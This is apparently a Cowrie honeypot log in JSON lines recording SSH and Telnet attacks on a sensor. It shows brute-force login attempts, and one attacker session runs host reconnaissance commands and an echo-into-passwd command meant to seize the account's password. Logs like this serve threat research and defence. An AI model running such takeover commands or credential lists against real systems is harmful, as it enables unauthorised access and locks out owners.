{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c9138766cc2","protocol":"ssh","message":"New connection: 210.183.21.53:39970 (10.17.0.5:22) [session: 7c9138766cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:53.298056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:53.301971Z","src_ip":"210.183.21.53","session":"7c9138766cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:53.499514Z","src_ip":"210.183.21.53","session":"7c9138766cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:54.315509Z","src_ip":"210.183.21.53","session":"7c9138766cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:55.516003Z","src_ip":"210.183.21.53","session":"7c9138766cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":40742,"dst_ip":"10.17.0.5","dst_port":22,"session":"188736ace0e4","protocol":"ssh","message":"New connection: 210.183.21.53:40742 (10.17.0.5:22) [session: 188736ace0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:55.710123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:55.715576Z","src_ip":"210.183.21.53","session":"188736ace0e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:55.913642Z","src_ip":"210.183.21.53","session":"188736ace0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.232243061065674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:56.328981Z","src_ip":"94.46.12.68","session":"91cf6eeb3bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.297699689865112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:56.342722Z","src_ip":"94.46.12.68","session":"3aecfb632da7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.171.222.70","src_port":57817,"dst_ip":"159.203.135.109","dst_port":23,"session":"3465ed9422f9","protocol":"telnet","message":"New connection: 121.171.222.70:57817 (159.203.135.109:23) [session: 3465ed9422f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:56.612666Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:56.737367Z","src_ip":"210.183.21.53","session":"188736ace0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:57.938257Z","src_ip":"210.183.21.53","session":"188736ace0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":53126,"dst_ip":"159.203.135.109","dst_port":22,"session":"992ce3463513","protocol":"ssh","message":"New connection: 115.190.179.68:53126 (159.203.135.109:22) [session: 992ce3463513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.100305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.105361Z","src_ip":"115.190.179.68","session":"992ce3463513","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.197011Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.200616Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.334720Z","src_ip":"115.190.179.68","session":"992ce3463513","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.410316Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":43836,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd1a693092b","protocol":"telnet","message":"New connection: 94.46.12.68:43836 (10.17.0.5:23) [session: 6dd1a693092b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.777676Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.855071Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin1234\\nIOLmyUQVkBuf\\nIOLmyUQVkBuf\"|passwd|bash","message":"CMD: echo -e \"admin1234\\nIOLmyUQVkBuf\\nIOLmyUQVkBuf\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.858375Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.861789Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:58.864794Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea5c114ea6eff3ee8efb3839c7201dd5a565625d087faa841638a24abb46d797","size":32,"shasum":"ea5c114ea6eff3ee8efb3839c7201dd5a565625d087faa841638a24abb46d797","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea5c114ea6eff3ee8efb3839c7201dd5a565625d087faa841638a24abb46d797 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:59.073416Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"12341234","message":"login attempt [testuser/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:59.325922Z","src_ip":"115.190.179.68","session":"992ce3463513","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:59.523063Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin1234\\nIOLmyUQVkBuf\\nIOLmyUQVkBuf\\n\"|passwd","message":"CMD: echo \"admin1234\\nIOLmyUQVkBuf\\nIOLmyUQVkBuf\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:59.526252Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ed6346736a0c573ddb8c3e6a608a01ec053e11d0cb3c35a97b57aee60a806af8","size":25,"shasum":"ed6346736a0c573ddb8c3e6a608a01ec053e11d0cb3c35a97b57aee60a806af8","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ed6346736a0c573ddb8c3e6a608a01ec053e11d0cb3c35a97b57aee60a806af8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:01:59.733810Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:00.228636Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:00.232380Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.155978441238403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:00.294601Z","src_ip":"94.46.12.68","session":"cf5fc62bf834","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:00.442266Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:00.924857Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:00.928505Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:01.137313Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:01.259775Z","src_ip":"115.190.179.68","session":"992ce3463513","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:01.805580Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:01.809354Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:01.812946Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:02.025174Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:02.480932Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:02.485028Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:02.693984Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:03.149134Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:03.152596Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:03.360825Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:03.822013Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:03.825714Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:04.034284Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:04.491636Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:04.495775Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:04.705728Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:05.168108Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:05.171982Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:05.381983Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.302199363708496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:05.421800Z","src_ip":"94.46.12.68","session":"f838421d9260","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:05.842788Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:05.846932Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:06.058244Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
